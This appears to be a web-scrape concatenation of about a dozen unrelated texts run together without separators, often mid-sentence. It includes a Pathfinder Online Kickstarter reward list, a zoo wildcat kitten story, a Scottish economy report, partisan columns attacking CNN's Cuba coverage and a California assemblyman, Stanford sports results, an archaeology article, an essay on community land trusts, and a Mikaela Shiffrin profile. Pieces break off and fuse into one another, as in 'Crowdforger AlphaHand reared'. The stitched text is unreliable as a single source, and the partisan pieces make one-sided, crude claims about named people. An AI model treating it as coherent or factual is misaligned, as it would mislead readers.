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other players instead of the other Buddy or Guild accounts in your Reward.)
You can only offer or accept one Friendship invite, so you cannot round-robin the Friendship links. A-B-C-A is not OK. Only A-B.
In addition, the two Friends will get access to the Daily Deals as of the earliest pledge date of the two backers. This is a way for you to enable a Friend to get Daily Deals back to the date of your first eligibility!
Crowdforger Reward Bonus - $1 Million Early Enrollment Upgrade
We've heard a lot of concern from people who want to switch reward levels, but don't want to lose their place in line. We want to make sure everyone has a chance to get into the best reward level for them. We looked at the numbers pretty carefully, and we believe it will only stretch our enrollment slots by about 1000 people to offer this benefit to the Crowdforger pledges up to $1 million.
We're going to allow all Crowdforger pledges received before the $1 million milestone into the first month of Early Access. So go ahead and switch levels around however you wish over the next day or so, and don't worry about losing your place in line. Once we hit $1 million, the normal system will be back in effect.
Crowdforger Reward Bonus - Reaper MIniatures
Our friends at Reaper have provided us with a great addition to the Crowdforger Rewards! Baron Tervin Blackshield, ruler of Thornkeep, and goblin commander of the Accursed Halls, Murgmo, come from the pages of the Pathfinder Online: Thornkeep book. These unpainted metal miniatures will be included free for all Crowdforger Rewards AND to the RPG Print Pack Add-On and the Hellknights Most Wanted Add-On! We've already got a sneak peek at Murgmo!
PDF Superpack Available to ALL CROWDFORGER LEVELS!
Paizo's community is very strong, and that includes friends at many excellent third-party publishers that make roleplaying products for use with the Pathfinder RPG. Paizo reached out to those publishers and asked them if they would be willing to donate a PDF or two (or sometimes even more) that we could bundle up and offer as part of the Crowdforger Kickstarter backers, and the response has been absolutely amazing—including Paizo's own contribution, it currently includes 59 products from 37 different publishers, with a total retail value of $318.50! Here is a list of what's currently in our PDF Superpack—publishers are still joining in, so this list could grow even bigger!
$35 – Adventurer
$175 – Crowdforger Buddy:
$500 – Crowdforger Guild:
$1,000 - Crowdforger AlphaHand reared and utterly adorable: The wildcat kitten being raised by human'mothers' at a zoo
An adorable six-week-old wildcat kitten is being hand reared by zoo staff after being rejected by his mother.
The black-footed cat, the smallest of the African felines, is classified as 'vulnerable' on the International Union for Conservation of Nature’s Red List of Threatened Species.
The male kitten was the first of his species to be born within the Chicago Zoological Society (CZS) when he was born on Valentine's Day at Brookfield Zoo.
Rare: This cute little ball of fur is a type of endangered African feline called a Black-footed Cat being hand reared at Brookfield Zoo
Newborn: But just hours after his birth, the kitten's four-year-old mother Cleo failed to exhibit proper maternal care and worried zoo staff were forced to intervene
But just hours after his birth, the kitten's four-year-old mother Cleo failed to exhibit proper maternal care and worried zoo staff were forced to intervene.
Dangerously cold and underweight, they had to put him in an incubator to increase and maintain his body temperature whilst feeding him round the clock.
But all their efforts have saved his life as now six weeks old and gaining weight, the kitten is being fed a milk formula from a small bottle and is starting to eat solid foods.
On the mend: The six-week-old kitten is now being hand reared and fed a milk formula from a small bottle
The kittens parents, mother Cleo and her mate Butch, are both on a breeding loan to Brookfield Zoo to help boost the black-footed cat's numbers
Dr Michael Adkesson, associate veterinarian for the Society, said: 'Even though it was an uphill battle at first, the kitten is now doing extremely well, and we feel comfortable that he is well on his way to living a full and healthy life.'Image copyright Getty Images Image caption January saw the "most marked increase" in manufacturing and service sectors
Growth in the Scottish economy gained momentum at the start of the year, according to a survey.
The Bank of Scotland's Purchasing Managers' Index (PMI) report showed that the private sector picked up after easing off at the end of last year.
January saw the "most marked increase" in manufacturing and service sectors for three months.
Donald MacRae, chief economist at the bank, said: "Business confidence continues to increase."
He said this ensured that the Scottish economy not only continued the recovery but entered 2014 with "growth momentum."
The study highlights a 16th straight month of growth for the private sector. During January, Scotland saw a rise in new business, increased output, and rising employment.
Finance Secretary John Swinney said it showed a solid start to the year, following further growth in Scottish gross domestic product (GDP).
'Challenges remain'
He said: "The continued progress in Scotland's economic recovery is helping to create more jobs and opportunities, with Scotland outperforming the UK in terms of employment, unemployment and inactivity rates.
"We know challenges will still remain as the recovery progresses, and that's why there will be no let-up in the Scottish government's determination to secure economic growth through our investment programme in skills and capital projects.
"We can further strengthen our approach by acquiring the full powers of independence to build a wealthier, fairer and economically-sustainable Scotland."
Scotland Office minister David Mundell said it showed that the country continued to do well as part of the UK.
"We are providing the conditions for Scottish businesses to grow and create jobs because we are part of a strong, secure and influential UK economy," he said.
"There is no room for complacency however, and we must continue to do everything we can to support Scottish business up and down the country.
"That is why from April we are introducing our employment allowance which provides Scotland with a boost of £100m by cutting the National Insurance bill of every Scottish business."The opinions expressed by columnists are their own and do not represent the views of Townhall.com.
“Wow. CNN had to retract big story on 'Russia,' with three employees forced to resign. What about all the other phony stories they do?” (tweet from President Trump, June 27.)
Start with practically everything from CNN’s Havana Bureau for the past twenty years, Mr President. But don’t take it from me! Take it from the mass-murdering terror-sponsors who graciously bestowed CNN their platform to spread communist propaganda:
“Propaganda is vital—propaganda is the heart of our struggle.” (Fidel Castro.)
“Much more valuable than rural recruits for our Cuban guerrilla force were American media recruits to export our propaganda.” (Ernesto “Che” Guevara.)
“Fidel Castro is one hell of a guy!" Ted Turner gushed to a capacity crowd at Harvard Law School during a speech in 1997. "You people would like him! Most people in Cuba like him."
Within weeks CNN was granted its coveted Havana Bureau, the first ever granted by Castro to a foreign network.
Also take it from a genuine (but hopelessly naive) Spanish reporter who took his job title seriously and (very foolishly) attempted to practice his profession in the Castro-Family-Fiefdom:
“The Castro regime assigns 20 security agents to follow and monitor every foreign journalist. You play the regime’s game and practice self–censorship or you’re gone.” (Vicente Botin, reporter for Madrid’s El Pais who was promptly booted from Cuba for refusing to play the same sniveling, cowardly game as CNN’s cuckholded –perhaps even black-mailed--“reporters” play every time they file a “story” from Cuba.)
Also take it from a retired U.S counter-intelligence officer responsible for helping nab over 80 enemy agents, including the enemy agent responsible for the deepest and most damaging penetration of the U.S. Defense Dept. in recent history. Her name is Ana Belen Montes and –you’ll be astounded to hear that —she worked for the regime that graciously granted CNN its pioneering “news” bureau.
“The vetting procedure starts the minute the (Cuban) regime receives a visa application,” says the man long-regarded as America’s top Cuba spycatcher. “When those smiling Cuban “guides” greet you at the airport they know plenty about you, and from several angles.” (Chris Simmons, the Defense Intelligence Agency’s top Cuban spycatcher, now retired.)
In brief, you’re not getting and keeping a Cuban journalist visa (much less a Havana Bureau) unless you shamelessly (and genuinely) collude with Cuba’s KGB-founded and mentored ministry of propaganda. This isn’t rocket science, amigos.
According to a recent story where CNN’s Havana-based reporter Patrick Oppmann (SURPRISE!) bemoans President Trump’s proposed Cuba policy, Uncle Sam has no better, more honorable or more trustworthy friend in the war on drugs than the Castro family, those noble purifiers of Cuban society–because according to CNN’s Oppmann:
“Cuban officials told CNN that, despite political differences with the United States, they have provided key intelligence to help capture smugglers,” among many other heart-warming modes of selfless cooperation.
Let’s have a look at some of the fruits of this co-operation, shall we. (please carefully note the dates.)
HAVANA (AP) — The Obama administration and Cuba’s Interior Ministry have agreed to share information on international criminal activity such as terrorism, human trafficking and money laundering. (Jan. 17, 2017.)
“Panamanian authorities have intercepted over 401 kilos of cocaine in a shipment from Cuba en route to Belgium. The cocaine was found in a (Cuban) container camouflaged by (Cuban) molasses tanks.” (April, 14, 2017.)
You’ll be astounded to hear that CNN somehow “overlooked” the story regarding their Cuban benefactors getting nailed red-handed in a major drug-bust and thus making a pathetic joke of much of what CNN’s reports from Cuba…Oh! and also no mention by CNN of the following fascinating facts closely related to this theme:
“The case we have against Raul Castro right now (for drug-trafficking) is much stronger than the one we had against Manuel Noriega in 1988.” (U.S. prosecutors in Florida to the Miami Herald, July 1996.)
“Federal prosecutors in Miami were prepared to indict Raul Castro as the head of a major cocaine smuggling conspiracy in 1993, but the Clinton Administration Justice Department overruled them, current and former Justice Department officials tell ABC News…”It was a major investigation involving numerous witnesses that was killed at the highest levels in Washington,” said a former Justice Department official with direct knowledge of the case.
Another theme on which CNN relentlessly “reports” are all the recent “free-market reforms!” in Cuba thanks to Obama’s policy and Raul Castro’s “pragmatism.”
In fact, despite this constant CNN clamor, the percentage of Cubans privately employed in 2017 (under “free-market reformer” Raul Castro) is slightly LOWER than the percentage who were privately employed in 1965 when Maoist/Stalinist fanatic Che Guevara served as Cuba’s “minister of the economy.”
You see, amigos: Unlike those who—in order to earn and keep their “journalist” visas-- dutifully transcribe from Castro’s propaganda ministry, your humble servant (whose books are outlawed in Cuba and who is denounced by Castro’s media as a “SCOUNDREL! And a TRAITOR!”)— actually bothered to do some research and run the numbers.
Recently CNN struck an ominous note regarding Trump’s proposed Cuba policy. CNN has strong suspicions that this policy is a simple ploy by hotel mogul Donald Trump to sandbag other hotel companies–so that Trump’s company can later fill Cuba with Trump hotels.
“…the decision to prohibit business with GAESA (Cuba’s military-controlled business empire) ….is an example of Trump's ability to impact his business' competitors while in the White House. Trump's prohibition, in effect, puts other hotel companies on equal footing with his personal company -- not allowed to pursue future business in Cuba.”
In brief, according to CNN, Trump’s Cuba policy constitutes a blatant “conflict of interest.”
And speaking of conflict of interests: how many of y’all knew that CNN’s Cuba reporter Patrick Oppmann—who constantly rails against Trump’s Cuba policy of restricting tourism to Cuba—has an American wife who owns a shop in Havana that caters primarily to tourists?
Needless to add, permission to open a shop in Havana isn’t doled out randomly by the Stalinist regime—especially to a foreigner! In fact several Cubans who had opened up small restaurants in Havana were recently arrested and had their restaurants confiscated by Stalinist authorities. Seems they weren’t sufficiently greasing the right regime palms.
Apparently no such “irregularities” hamper the operation of the shop owned by the CNN reporter’s American wife.A young Kashmiri soldier and his relatives were forced to traverse through six-feet snow in an avalanche-prone area for over 10 hours with his mother's body since authorities did not provide a helicopter as promised earlier. The soldier wanted to bury his mother's body at her native place near Pathankot. He was taking the body from Kupwara, Kashmir.
Also read: BSF jawan Tej Bahadur arrested, threatened and mentally tortured, says wife
Mohammed Abbas, 25, lived in Pathankot with his mother, Sakeena Begum, who died six days ago. He wanted to bury her body in their village in Kashmir, but the village had become inaccessible for vehicles after heavy snowfall and avalanche.
Abbas had returned to Kashmir, where authorities assured him of an helicopter to reach Karnah. However, after waiting for four days, the helicopter was not provided, when he decided to take matters into his own hands. He and his relatives then trekked for 50 km as the road connecting Kupwara and Karnah was covered in snow.
Villagers also helped remove layers of snow so that the group could pass by with the makeshift gurney for his mother.
"It is very humiliating. I'm not able to give a decent burial to my mother. The administration kept us waiting with the body, but they never sent the helicopter," he told NDTV. "It was a dangerous trek. We were stomping through snow with my mother's body. It's an avalanche-prone zone that we were moving through."
He reached the location on Thursday evening and performed last rites. Hundreds of villagers attended the last rites.
Officials denied the fact that no helicopter was provided to them.
"We had arranged a chopper, but the family refused the facility because they were not sure about the weather and whether the helicopter could take off," said a senior officer on condition of anonymity.
"We waited for four days hoping for some government help. This morning, officials in Kupwara refused to take our calls," Abbas said.
Ghulam Mohammad Dar, the Deputy Commissioner of Kupwara, said the highway would be cleared by Friday evening and re-opened for traffic on Saturday morning.During any presidential election, candidates tell voters they want to focus on the “important issues” throughout their campaign.
But what words do they use to talk about those issues?
That’s what Jim Davenport—a NSF Astronomy and Astrophysics Postdoctoral Fellow at Western Washington University whose Reddit username is Mock_Twain—wanted to find out about those running in the 2016 US presidential election. So he took a look at the websites of those in the race, focusing on the frequency of the words found on their “issues” pages. He then collected that data and created word clouds and graphs from it, which he posted in Reddit’s Data Is Beautiful community and on his blog.
“There’s a lot of other hidden details in these word clouds (and if we analyzed their whole websites, or speeches, we’d see it even stronger),” Davenport told Upvoted in an email.
Here’s a snapshot of what some of his research revealed.
Democrats Sure Are Wordy
When it comes to the bottom-line totals, the Democratic candidates—Hillary Clinton, Martin O’Malley, and Bernie Sanders—used more words on their “issues” pages than their Republican counterparts, 74,000 to 54,000. Interestingly, the most verbose page belonged to the candidate who hasn’t built reputation of being chatty during public appearances, as Davenport amusingly pointed out on his blog:
“While Martin O’Malley may not have had a ton to say in the democratic debates, he certainly has a lot to say online. We get it, O’Malley, you probably were a NaNoWriMo winner three years running too.”
And what words—besides his own name—did O’Malley use the most? “Governor” and “health” led the way, according to Davenport’s word cloud.
Davenport did tell Upvoted that he was surprised and personally disappointed by the lack of verbiage on the Republicans’ pages:
“I’m also still really struck by how few words many of the GOP candidates wrote. I assume most candidates don’t write their own web content, so the brevity must be deliberate. I’m editorializing a bit here, so I’ll let your imagination fill in why someone might opt for short simple language instead of complex prose. As someone who loves words and language, and is a student of the subtleties of nature, I think that’s kind of sad. I’ve always wanted our leaders to be the best and brightest, capable of vision and seeing the whole picture. It’s hard to believe positions foreign policy or tackling domestic terrorism (aka gun control) can be summed up in a few flimsy sentences.”
Words Cut Along Party Lines
It should come as no surprise that words used the most by candidates differed when grouped along party affiliation. For instance, the three Democrats enjoyed referring to social issues and reminding voters of their names, Davenport observed.
The candidates in the GOP field focused on “president,” “tax,” and “security.”
“Themes of strength and safety, maybe even fear, look (to my eye) to be stronger on the right,” Davenport said. “That’s not an earth-shattering result, but it’s interesting.”
Words, such as “security,” “jobs,” and “health” were used with the same frequency between both parties, Davenport indicated.
Ben Carson Likes “Contributions”
Ben Carson’s word cloud shows a fondness for “contribution” and “contribute, too.” Davenport chalks that up for two reasons: a lack of content on his issues page and a block of legal fine print at the bottom.
“You can kinda see the same thing for [GOP candidate Ted] Cruz, with the heavy Twitter and @ stuff in his word cloud, lots of tweets all over his pages,” Davenport said.
Jeb Bush Isn’t Big on His Name
The names of the other candidates dominate their respective word clouds. Not so for Jeb Bush, whose leading words are “veterans,” “government,” and “states.” It’s a difference that Davenport characterized as “very odd” in the Reddit thread.
More Words Doesn’t Mean More Complexity
Although he measures the language complexity of the candidates’ pages using the Flesch-Kincaid Reading Level metric, Davenport was quick to point out on his blog that it “is not a fair measure of intellectual complexity.” But that doesn’t mean it’s a measurement that shouldn’t be worth noting.
Running the candidates through that metric, Davenport found the easiest reading levels belonged to Donald Trump, Sanders, and Bush, some of the wordiest candidates in the race among both parties.The 13th-ranked Stanford women's tennis team has faced deficits all year. It was no different Wednesday as the Cardinal rallied past No. 19 USC, 4-2, to win the Pac-12 title in Ojai, site of the conference championships.
Stanford captured its 25th conference crown overall and first since 2012, while locking up an automatic NCAA bid in the process.
One month ago, the Cardinal was fifth in the Pac-12 standings and in danger of dropping outside the top-20, uncharted territory for a 17-time NCAA champion and the most storied program in the sport.
Even hosting duties in the NCAA's early rounds typically reserved for teams seeded among the top-16 and seemingly an annual occurrence on The Farm appeared in jeopardy.
After Wednesday's statement win over USC, the script has been revised. Almost predictably, for a program that has traditionally saved its best tennis for late in the season.
Despite losing the doubles point and later staring at a 2-0 deficit, Stanford (14-5, 9-1 Pac-12) dominated singles play and used contributions from throughout its lineup to dispatch USC (12-5, 7-1 Pac-12).
The neutral-site match became necessary to determine the Pac-12 regular season champion when the Cardinal beat previously unbeaten California. The March 11 contest against the Trojans was cancelled due to rain.
USC's early edge did little to rattle Stanford. After all, in its two biggest wins of the season against No. 7 Florida and No. 1 California, the Cardinal also lost the doubles point before prevailing 4-3.
Zoe Katz took a 6-4, 6-1 win over Caroline Doyle at the No. 3 spot, to extend USC's lead, 2-0. The score was slightly misleading though, with Stanford starting to control the remaining matches.
Carol Zhao, who ironically would have been unavailable when the teams were scheduled to meet back in March, followed with a 6-4, 6-2 triumph over Giuliana Olmos in a battle at the top spot.
The 2015 NCAA Singles runner-up and three-time All-American, Zhao missed the entire fall and much of the spring as she had been training with the Canadian National Team and competing in pro tournaments. Stanford is now 8-1 with Zhao in the lineup and 6-4 without her.
Taylor Davidson powered past Madison Westby, 6-1, 7-,5 at the No. 2 position, knotting the match at 2, adding to Stanford's momentum.
A key point followed on court six, where Melissa Lord produced arguably the biggest win of her rookie campaign by defeating Rianna Valdes 7-5, 7-6 (1). Lord, who entered the match at 15-11 overall but having beaten only one other nationally-ranked player, put Stanford ahead 3-2 in an important swing match at that juncture.
From that point, it was simply a race to clinch between Caroline Lampl and Krista Hardebeck, both of whom were in the driver's seat during their third sets. Lampl eventually finished it off, outlasting Jessica Failla 4-6, 6-1, 6-3 for her team-best sixth clincher of the season and second in as many matches.
Hardebeck was one game away from her 16th consecutive victory when the match was suspended.
Meanwhile, Thursday signals the beginning of the Pac-12 Championships, which features a 32-player singles draw and 16-team doubles field.
Stanford has produced 11 conference singles champions but is seeking its first since Kristie Ahn (2011) and Nicole Gibbs (2012) went back-to-back.
In doubles, the Cardinal has totaled eight winners, including Davidson/Zhao beating Doyle/Ellen Tsay in last year's all-Stanford affair.
Sunday's singles championship (10 a.m.) and doubles championship (1 p.m.) will be broadcast live on Pac-12 Networks.
Women's golf
Junior Casey Danielson and senior Lauren Kim closed with under par rounds Wednesday to help sixth-ranked Stanford finish seventh in the Pac-12 Championships at Ruby Hill Golf Club.
Danielson posted her best round of the 54-hole event with five birdies and three bogeys to shoot a 2-under 70. The steady Kim made two birdies and only one bogey to record 71.
"We don't feel that disappointed," said Margot and Mitch Milias Director of Women's Golf Anne Walker. "We play in a tough conference. It's the nation's best. If you play average, you're going to finish seventh."
Seven of the 11 Pac-12 teams are ranked 15th or higher, led by top-ranked UCLA and second-ranked USC.
The Trojans won the team title, combing for a conference-record 18-under score of 846. The Cardinal concluded at 7-over 871, shooting 2-over 290 on Wednesday in the best four out of five player scoring.
Kim paced the Cardinal with a tie for 20th at 1-over 217, 12 strokes behind medalist Linnea Strom of Arizona State. It marked Kim's sixth top 20 showing of the season.
Senior Mariah Stackhouse shot a final-round 74 and tied for 27th at 4-over 220, while Danielson, freshman Sierra Kersten (75) and sophomore Shannon Aubert (78) earned a share of 32nd at 5-over 221.
Walker was pleased with the comeback by Danielson, and the overall play of Kersten. The latter competed for only the third time in her collegiate career and contributed each day.
"She made a lot of birdies and handled herself like a veteran," Walker said.
Following play, all-conference selections were announced. Kim and Stackhouse garnered All-Pac-12 honors for the fourth-consecutive year. Stackhouse made the first team for the fourth-straight season, while Kim accomplished it for the second year in a row.
Aubert was chosen honorable mention.
Kim also received the 2015-16 Pac-12 Scholar-Athlete of the Year Award.
Stanford will next host and compete in the NCAA Regionals, May 5-7 at Stanford Golf Course. Eighteen teams and six individuals will play for berths in the NCAA Championships, May 20-25 at Eugene Country Club in Eugene, Oregon. Stanford is the defending national champion.Liberal values were on full display in the case of a California Democrat who was accused of accosting a female lobbyist in a public restroom in 2016 and choking his chicken in front of her.
Rising star Matt Dababneh, one of the members of the Sacramento Politburo that rules the state with an iron fist will be resigning come January 1, 2018 over the incident which was reported last week.
He denies any wrongdoing – it’s a Democrat talking point now.
Another California lawmaker resigns after sexual misconduct allegations https://t.co/RGymgtCdou pic.twitter.com/HgwftxASYK — Mercury News (@mercnews) December 9, 2017
Via The San Jose Mercury News “Another California lawmaker resigns after sexual misconduct allegations”:
California assemblyman Matt Dababneh on Friday became the second state lawmaker to abruptly leave office in a cloud of sexual misconduct allegations, just days after a lobbyist accused him of sexually assaulting her in a hotel bathroom. The 36-year-old San Fernando Valley Democrat — who adamantly denied that he cornered lobbyist Pamela Lopez in a Las Vegas bathroom in January 2016 and urged her to touch him — submitted his resignation late Friday afternoon, effective Jan. 1. “To be absolutely clear, the allegations against me are not true,” he wrote in a letter to Assembly Speaker Anthony Rendon. “However, due to the current environment, I, unfortunately, do not believe I can serve my district effectively.” Bombshell allegations and hasty resignations have become almost routine in recent weeks amid an unprecedented national public reckoning over sexual harassment and assault by powerful figures in media, entertainment, academia, tech and politics. Dababneh’s departure comes the day after U.S. Sen. Al Franken, a Democrat from Minnesota, and Rep. Trent Franks, a Republican from Arizona, announced they would leave office. Dababneh’s former colleague in the state Assembly, Raul Bocanegra, also a Democrat from the San Fernando Valley, announced his resignation last week after seven women accused him of groping and other unwanted sexual advances. He denied wrongdoing and blamed “political opportunism” for his downfall. State Sen. Tony Mendoza, a Democrat from Los Angeles County, is facing a Senate investigation following accusations that he made unwanted advances to at least two young interns.
According to Dababneh’s Wikipedia page his denials ring hollow:
Jessica Y. Barker, President of the San Fernando Valley Young Democrats, has also come forward and accused Dababneh of sexual harassment. “Pamela and I aren’t the only women that Matt has harassed,” said Barker. “There are others and I have spoken to them.” While working with Dababneh in US Congresman Brad Sherman’s District Office Barker alleges Dababneh regularly spoke about his sexual exploits and made degrading comments about women. She said his behavior was the main factor in her decision to leave her job as a field representative for the congressman after 18 months. She said over the course of her tenure there that Dababneh frequently made inappropriate comments at work, including talking about his sexual habits and the attire of female staffers. Two friends confirmed to The Los Angeles Times that Barker regularly told them about Dababneh’s behavior and that she said it made her feel uncomfortable.
No matter how hard that the Democrats try to shift back into the war on women mode to go after President Trump and probable Alabama Senator Roy Moore, they have more than enough of their own problems when it comes to sexual misconduct and all the rest is just playing politics to distract from their pack of perverts.
Pelosi politics 101.The bodies are still missing, but a prehistoric toolkit discovered in the United Arab Emirates has led some archaeologists to propose a more complex scenario for humanity's emigration out of Africa.
Uncovered at a Jebel Faya rock shelter, just west of the Straits of Hormuz at the mouth of the Persian Gulf, the tools are 125,000 years old. Previous estimates placed the dispersal of modern humans from North Africa around 70,000 years ago. If correct, this new study indicates that humans in eastern Africa left earlier, and traveled to Arabia.
The tools include small hand axes, scrapers and notched tools called denticulates. They're described Jan. 27 in Science. According to researchers led by University of London paleogeographer Simon Armitage, the tools resemble those made in the same era by humans in eastern Africa, rather than tools found at later sites along the Mediterranean’s eastern border.
On the basis of these tools, Armitage and co-authors propose that humans crossed from eastern Africa to Arabia around 130,000 years ago. Lower sea levels may have opened a path, and increased rainfall would have made the Jebel Faya area less arid than it is today.
From southeast Arabia, humans "would have reached South Asia much earlier than assumed and would have had more time to adapt to all kinds of environments encountered in the whole of Eurasia,” wrote study co-author and University of Tübingen archaeologist Hans-Peter Uerpmann.
The findings support a scenario suggested by University of Birmingham archaeologist Jeffrey Rose in December 2010 in Current Anthropology. He described how a "Gulf Oasis" could have sheltered humans 100,000 years ago, and even earlier.
Skeletons would provide an important test of the toolmakers' proposed identity. When asked if any remains had been found, however, Uerpmann said, “No bones at all. The earliest bone-finds of ‘moderns’ are from Qafzeh and Skhul in Israel.”
At about the same age as the Jebel Faya tools, these controversial fossils may represent the oldest anatomically modern humans outside of Africa, although a recent *American Journal of Physical Anthropology *paper made a poorly substantiated claim of 400,000-year-old humans in Israel’s Qesem Cave.
The new study "provides important clues that early modern humans might have dispersed from Africa across Arabia, as far as the Straits of Hormuz, by 120,000 years ago,” said Chris Stringer, an anthropologist at London’s Natural History Museum and "Out of Africa" scholar.
Given the disparity between the Jebel Faya tools and those found at Skhul and Qafzeh caves in Israel, however, Stringer wonders if separate populations may have taken different paths out of Africa.
“Could there have been separate dispersals,” he asks, “one from East Africa into Arabia, and another from North Africa into the Levant?”
*Images: *Science
See Also:This article was originally published in our The Public Good: Reports from the Front Lines (September 27, 2017), available here.
About 15 years ago, the half-century flight from America’s cities came to an end. A growing number of cities began see a growing in-migration, often of people with higher incomes. Rising real estate prices spurred land speculation and new developments, threatening existing neighborhoods with displacement and reducing affordable housing.
Some cities have tried to do right by their long-term residents. But the strategies they’ve embraced look to bribe developers with tax breaks or higher densities than the zoning code allows in return for the developer including in their high rise condos a portion with a sales price set to households with less than the area’s median income. On the whole, these bribes have only marginally increased affordable housing, done little if anything to preserve existing neighborhoods and in the long run, are unsustainable.
In the 1960s activists proposed a new strategy: Community Land Trusts (CLT) The first incorporated land trust was established in 1969. New Communities was a 5,700-acre land trust and farm collective in southwestern Georgia owned and operated by approximately a dozen black farm farmers from 1969 to 1985.
In 1972 Robert Swann, one of the creators of New Communities, wrote Community Land Trust: A Guide to a New Model of Land Tenure in America, which among others things, explained in detail how a land trust differs from conventional ownership. A trust separates the ownership of the land from the ownership of the building. A nonprofit organization, with a board usually composted of representatives from tenants and the surrounding neighborhood, owns the land and leases it to the homeowner for a designated period, often 99 years. The homeowner has the right to sell the land at any time, but the return to the homeowner is limited.
Keeping the land out of the real estate market holds down housing prices, as does limiting the equity gains that accrue to the homeowner. The objective of the land trust is not to maximize profit, but to maximize community and diversity.
In 1984 Burlington, Vermont established the nation’s first urban CLT. Burlington offered fertile ground for the concept. A rapidly inflating housing market created the need. A mayor, Bernie Sanders, receptive to the concept of social markets created the opportunity.
Initially Sanders viewed land trusts with skepticism. “The mayor feared the restrictions on reselling properties would create a form of second-class home ownership,” Jake Blumgart reports in Slate, “If middle- and upper-class people could build wealth off their houses, why should the working class be limited to shared equity? Sanders’ preferred methods of ensuring housing affordability were rent control…and providing direct subsidies to low-income residents who wanted to buy homes.”
But in 1982, in a referendum, Burlington voters rejected rent control. And direct subsidies to low income households, would have to increase as real estate prices increased, eventually overwhelming the municipal budget.
Bernie eventually vigorously supported land trusts. In 1984 the city midwifed the creation of its first land trust with a $200,000 seed grant and municipal staff support. Later, it made a significant loan from its pension fund to the land trust and raised additional funds from local businesses and federal resources. In 1988, it established the Burlington Housing Trust Fund, funded by a small increase in property taxes.
Municipal sponsorship of a land trust was not universally supported. In his 1996 PhD dissertation, Reinventing Real Estate: The Community Land Trust as a Social Invention in Affordable Housing, James Meehan recalled, “An opposition group upholding property rights organized and picketed the Board of Alderman. One realtor said, ‘If you believe that one of the most precious rights we, as individuals, have in our country, is the right to own land, a right protected by our Constitution, then you should take a long, hard look at this land trust.’”
Advocates prevailed.
In 1984, the same year Burlington started its land trust, a community in Boston applied the concept on a neighborhood scale. At the time burned out and abandoned houses characterized the Dudley Street neighborhood. “(T)he per capita income of the Dudley Square residents was one of the lowest in the nation, on a par with the poorest counties in Mississippi, or Indian Reservations of the West,” noted to Peter Medoff and Holly Sklar note in their book, Streets of Hope: The Fall and Rise of an Urban Neighborhood,
With the support of local foundations, the Dudley Street Neighborhood Initiative (DSNI) held a series of meetings. Over many months, hundreds of residents participated in developing a plan that included business development, affordable housing, human services, youth development, education, playgrounds and public space.
The city adopted the plan, but its implementation required one more innovation. The “Dudley Triangle” consisted of a tangled web of city-owned land interlaced with tax-delinquent properties and vacant private lands. The neighborhood pressed the city for the authority to demand that the owners sell the trust the parcels. In 1988, the Boston Redevelopment Authority granted that request. The DSNI became the first, and so far the only, neighborhood with the ability to exercise eminent domain, a power usually reserved only to governments.
As Harry Smith, DSNI’s director of sustainable economic development told Blumgart, writing for Next City, “we never really used the actual power of eminent domain. We used it more as a stick, so if there were absentee owners who weren’t coming to the table and weren’t engaging we could send them a letter and say we are going to exercise the power of eminent domain. That would get their attention.”
In 1987 the Institute for Community Economics convened the First National Conference. Twenty-four CLTs attended. A year later the number doubled. By 1990 the number attending had reached 120. After plateauing in the 1990s, |
started too late and failed to take it seriously early on. When she and Jeff had children, they wouldn’t make this mistake. Mikaela was their second child. Her brother, Taylor, is two years older. “He was the practice brother,” Jeff said. They had settled in Vail. “We had this concept that there had to be a gradual progression of skill acquisition,” Jeff said. As with Taylor, they dragged Mikaela around the living room and the driveway on skis when she was a toddler, and then taught her to cross-country ski on the golf course. Next, hard boots, skis with edges, and then follow-me. They hardly bothered with the snowplow, the customary introductory gravity-mitigation technique. The goal was a proper turn, with the skis parallel. (Kids are typically taught “pizza” before they graduate to “French fries.”) When Mikaela was in kindergarten, the teacher for the kids’ Friday skiing class, not accustomed to such small-fry French-frying, said, “I don’t have a group for her.” “So she kept skiing with us,” Jeff said. “That became Eileen’s job.” Eileen and Mikaela started logging the hours. After Mikaela began to ski with other kids, Eileen became their coach. She was the hands-on drillmaster, the fastidious worrywart. She was also homeschooling Mikaela. “I taught myself to do the things I was teaching the kids,” she said. “Play guitar, play piano, paint.” Whatever they took up, whether it was soccer, tennis, the unicycle, or Ping-Pong, they studied video. “We had a methodical way of doing things,” Eileen said. “Let’s see if we can simplify this chaotic life.” “We always said, ‘If we’re going to do it, let’s do it right,’ ” Jeff told me.
When Mikaela was eight, the family moved back East, to a house in rural New Hampshire. Jeff had got a job at Dartmouth Hospital, but the kite-in-the-headwind principle factored in, too. “We thought, Maybe we have something special here,” Jeff said. “We need to see if the kids love skiing in conditions where it’s pretty easy to hate it.” Northeastern skiing is infamous for its ice. The climate is damper and generally more miserable than in the Rockies or the Alps; cycles of thaw and freeze transform the snow surface into a rink. Recreational skiers abhor ice, but it has its virtues. A firm surface, as the understatement goes, provides a better test for élite racers and bears up better under the erosive effect of their powerful carving turns. On the World Cup circuit, in friendlier climes, course workers replicate these conditions by injecting water into the snow—with hoses, not syringes. So the Northeast’s naturally occurring “bullet” (short for “bulletproof surface”) is, and has long been, a great training and proving ground for young racers. Mikaela Shiffrin, a budding masochist, took to this ungenerous ratio of pleasure to woe. She thrived on bullet. At the age of twelve, she began working with Kirk Dwyer, the head coach at Burke Mountain Academy, where he was also the headmaster. Burke, in northern Vermont, is a boarding school devoted to ski racing—it was the first of its kind when it was founded, in 1970. There are only about a dozen students per grade, some of whom wind up on the national team. Taylor enrolled as a boarder, but Mikaela was too young. After two good years, the family moved back to Vail, where Jeff had a new job. Mikaela was despondent. She missed her friends, her coaches, and the ice. She lost interest in her training and her studies. She began taking four-hour naps. Alarmed, Jeff and Eileen sent Mikaela back to Vermont, to train and board at Burke. Eileen and Taylor eventually followed, while Jeff stayed behind. Mikaela arrived at Burke in December, 2009, as a freshman. One of her roommates was a racer from Connecticut called Bug Pech, the niece of the Olympian Chip Knight. (New England skiing, like medieval Scotland, can seem to be dominated by a handful of hardy clans: the Cochrans, the Shaws, the Knights.) “We were inseparable,” Pech said recently. “Piglet and Pooh Bear. She’s Piglet. She was shy, quirky. I was lost in la-la land.” Pech had been competing with, and losing to, Shiffrin since they were eight. Now she began to see why. “It was bizarre in the most extreme way that this kid, at this place, Burke, where everyone is absolutely absorbed in ski racing, had this whole other level of devotion. Her need of ski racing is like a need for oxygen.” Pech recalled a day when it snowed several feet—a rare treat, in those hills, and by custom an excuse to blow off practice and ski for fun. “We were all ripping powder, hucking cliffs in the woods. Meanwhile, Mikaela was doing drills on her racing skis. She’d rather do drills than ski powder with her buddies.” (“Powder? There’s no room for that,” Jeff told me. “That’s for also-rans. Sorry, that’s the way it is.”) Eileen had a condo a few minutes from the Burke campus, but she spent most of her time on the ski 